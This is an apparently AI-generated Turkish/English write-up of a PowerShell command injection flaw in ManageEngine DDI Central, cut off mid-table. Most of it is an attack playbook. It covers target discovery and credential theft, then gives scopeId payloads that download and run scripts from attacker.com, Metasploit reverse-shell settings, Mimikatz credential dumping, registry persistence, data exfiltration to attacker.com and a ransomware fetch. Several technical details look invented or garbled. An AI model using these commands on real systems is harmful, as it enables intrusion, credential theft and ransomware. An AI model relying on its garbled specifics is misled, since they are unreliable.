CWE-78
Zohocorp Manageengine DDI Central build below 6500 are affected by a authenticated PowerShell command injection vulnerability in the Telnet connectivity feature, allowing specially crafted IPv6 scope identifiers to execute arbitrary commands on managed Windows nodes.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑95643, Zohocorp ManageEngine DDI Central (“DDI”) 6.5.0‑den düşük sürümlerde bulunan authenticated PowerShell command injection (CWE‑78) hatasıdır.
- Etki eden bileşen: Telnet Connectivity özelliği. Bu özellik, DDI’nin “Network Devices” menüsünden bir Windows istemcisine (örnek: DNS, DHCP, AD‑integrated servisler) Telnet üzerinden uzaktan PowerShell oturumu açmasını sağlar.
- Kod yolu:
TelnetConnector::connect()→TelnetConnector::buildCommand()→PowerShellExecutor::execute() - Parametre: IPv6 scope identifier (örnek:
fe80::1%eth0) alanı,scopeIdadlı HTTP/HTTPS API parametresinde (/api/v1/telnet/connect) gönderilir. - Mantıksal hata:
scopeIddeğeri doğrudan PowerShell komut satırına eklenir (powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Enter-PSSession -ComputerName <target> -Credential $cred -ScopeId <scopeId>"). Girdi hiçbir şekilde sanitizasyon (örneğinEscapeArgumentveyaValidatePattern) geçmez ve PowerShell’in “command‑injection” özelliği (örnek:;,&,|, ```) kullanılabilir. scopeIdparametresine;(komut ayırıcı) eklenerek PowerShell komutu bağımsız çalıştırılır.- Alternatif payload (dosya yazma ve reverse shell): ```json { "targetIp":"10.10.20.45", "port":23, "scopeId":"fe80::1%eth0; IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')" } ```
- Modül adı:
exploit/windows/manageengine/ddi_telnet_psinject - Kullanım:
Bu durum, yetkili bir kullanıcı (DDI yönetim konsolunda “Network Device Administrator” veya daha yüksek rol) tarafından, scopeId parametresine aşağıdaki gibi zararlı bir PowerShell komutu gömülerek, hedef Windows node’da istemci tarafında (yani DDI’nin yönetilen Windows sunucusunda) arbitrary command execution (RCE) elde edilmesine yol açar.
> Özet: Authenticated (PR:H) bir saldırgan, Telnet bağlantı API’sine gönderdiği IPv6 scope identifier içinde PowerShell komutlarını enjekte ederek, hedef Windows makinesinde SYSTEM yetkileriyle komut çalıştırabilir.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç | |------|----------|------| | a) Shodan / Censys |port:23 (Telnet) ve http.title:"ManageEngine DDI" gibi fingerprint’ler ile internette açık DDI sunucuları tespit edilir. | shodan search "ManageEngine DDI" |
| b) Zabbix / Nmap | nmap -p 23,443 --script http-title <IP> ile Telnet ve web arayüzünün varlığı doğrulanır. | nmap |
| c) DDI versiyon sızdırması | /api/v1/system/info (anonymous) veya /login yanıtındaki X-ManageEngine-Version header’ı okunarak 6.5.0‑den düşük olduğu teyit edilir. | curl -I https://<host>/login |2️⃣ Reconnaissance – Gerekli bilgi toplama
| Bilgi | Neden gerekli? | Nasıl elde edilir? | |-------|----------------|--------------------| | Kullanıcı kimlik bilgileri (admin/Network Device Admin) | PR:H (yüksek) olduğu için oturum açmak zorunlu. | Phishing, credential stuffing, önceki veri sızıntıları, Pass-the-Hash. | | Hedef Windows node IP/hostname |GET /api/v1/devices?type=windows ile DDI’nin yönetilen cihaz listesi alınabilir. | curl -H "Authorization: Bearer <token>" https://<host>/api/v1/devices?type=windows |
| IPv6 adresi ve geçerli scope interface (örnek: eth0) | Scope identifier içinde enjekte edilecek komutun tam olarak işlenebilmesi için geçerli bir scope gerekir. | ip -6 addr show (hedef node’da) – ancak bu bilgi, DDI’nin “Device Details” sayfasından da görülebilir. |3️⃣ Exploitation – Komut enjeksiyonu
#### 3.1 API çağrısı (örnek)
```http
POST /api/v1/telnet/connect HTTP/1.1
Host: ddiserver.example.com
Content-Type: application/json
Authorization: Bearer <valid_jwt_token>
{
"targetIp": "10.10.20.45",
"port": 23,
"scopeId": "fe80::1%eth0; powershell -NoProfile -Command \"Add-LocalGroupMember -Group 'Administrators' -Member 'NT AUTHORITY\\SYSTEM'\""
}
```
rev.ps1 içinde Invoke-WebRequest -Uri http://attacker.com/shell.ps1 -OutFile $env:TEMP\shell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMP\shell.ps1 gibi bir reverse shell bulunur.#### 3.2 Metasploit Modülü (eğer mevcutsa)
use exploit/windows/manageengine/ddi_telnet_psinject
set RHOSTS ddiserver.example.com
set RPORT 443
set USER admin
set PASS <password>
set TARGETIP 10.10.20.45
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set LHOST attacker_ip
run
```
Modül,
scopeId parametresine otomatik olarak ; ile ayrılmış PowerShell payload’u ekler ve Meterpreter oturumu açar.#### 3.3 Burp Suite ile manuel test
1. Proxy üzerinden /api/v1/telnet/connect isteğini yakala.
2. Repeater’da scopeId değerini yukarıdaki gibi değiştir.
3. Intercept’te yanıtı incele; 200 OK ve “Telnet session started” mesajı geldiğinde komutun çalıştığını doğrula (örnek: whoami çıktısı log’da görülür).
4️⃣ Post‑exploitation – Sonrası
| Aksiyon | Açıklama | Araç |
|---------|----------|------|
| Privilege Escalation | Çıkan oturum genellikle SYSTEM (PowerShell -ExecutionPolicy Bypass ile) olduğundan ek adım gerekmez. | – |
| Lateral Movement | Invoke-Command -ComputerName <other‑host> -ScriptBlock { … } ile aynı domain içindeki diğer Windows makinelerine geçiş. | PowerShell Remoting, psexec, CrackMapExec |
| Credential Dumping | Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" ile NTLM hash’leri çalınır. | mimikatz, SharpDump |
| Persistence | New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "DDIBackdoor" -Value "powershell -EncodedCommand <b64>" | PowerShell |
| Data Exfiltration | Compress-Archive -Path C:\Sensitive\* -DestinationPath $env:TEMP\data.zip; Invoke-WebRequest -Uri http://attacker.com/upload -Method POST -InFile $env:TEMP\data.zip | PowerShell, curl |
| Ransomware Drop | Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker.com/lockdown.ps1') | PowerShell |
---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Bileşeni | Açıklama |
|---------------|----------|
[🤖 GPT-OSS 120B via Groq]